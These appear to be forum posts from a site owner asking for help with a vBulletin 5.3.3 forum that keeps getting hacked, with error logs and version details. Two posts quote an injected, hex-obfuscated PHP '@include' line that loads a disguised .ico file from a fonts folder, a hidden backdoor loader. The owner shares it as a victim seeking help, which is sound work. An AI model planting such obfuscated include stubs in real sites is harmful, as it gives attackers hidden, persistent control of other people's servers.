Error log

[mittac]

I delete these files, and a day later they appear elsewhere

[mittac]

I write down new files, and a day later they appear in this record. changed access rights 0644 to these files - does not help. how to determine which script is making this entry?

[mittac]

all this did, changed all passwords, changed permissions. all the same writes in files an index here such here the code. how to determine how this works?...

[mittac]

all done, did not help - still hack the site. how to determine how they get on the server?

[mittac]

ok, thanks
I will, I will check

[mittac]

all updated
passwords for mysql is not updated, but changed to FTP
nothing else on the server is used, the hooks are disabled

now I change the password for the database

[mittac]

Add to the files an index.php such a line at the beginning of the file
@include "\x2fhome\x2fatvc\x6cubb/\x70ubli\x63_htm\x6c/fon\x74s/ro\x62otoc\x6fnden\x73ed/f\x61vico\x6e_b83\x37ce.i\x63o";...

[mittac]

I know that these are warnings, but my site is constantly hacked and I can not find how they do it. here I was not helped to find the problem

[mittac]

vBulletin version 5.3.3.

[mittac]

• Error message on the screen' - NO
• Browser and Browser version used. - I do not know, it's a log on the server
• Did you clear the browser cache and did the error continue? - Yes
• A list of steps

...

[mittac]

PHP Version 7.0.22

MySQL 5.5.56-cll-lve

hooks disabled

russian

default theme...

[mittac]

[20-Oct-2017 00:42:08 Europe/Minsk] PHP Warning: Illegal string offset 'starter' in public_html/includes/vb5/template.php(318) : eval()'d code on line 167
[20-Oct-2017 00:42:08 Europe/Minsk] PHP...

[mittac]

thanks

[mittac]

<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin Core Configuration...

[mittac]

Hello

PHP Warning: Cannot modify header information - headers already sent by (output started at l/includes/vb5/applicationabstract.php:713) in /includes/vb5/cookie.php on line 44
...

[mittac]

help me please
hack my site
An index.php file is created

<?php
/*127f9*/

@include "\x2fhom\x65/at\x76clu\x62b/p\x75bli\x63_ht\x6dl/f\x6fnts\x2fdos\x69s/f\x61vic\x6fn_4\x379c3\x61.ic\x6f";...

[mittac]

Thank you. The error went missing

[mittac]

No, it's all good on this site. The problem is only on my site. Everything was fine before the update

[mittac]

test image...

[mittac]

I can give the website address and test account for the experiment...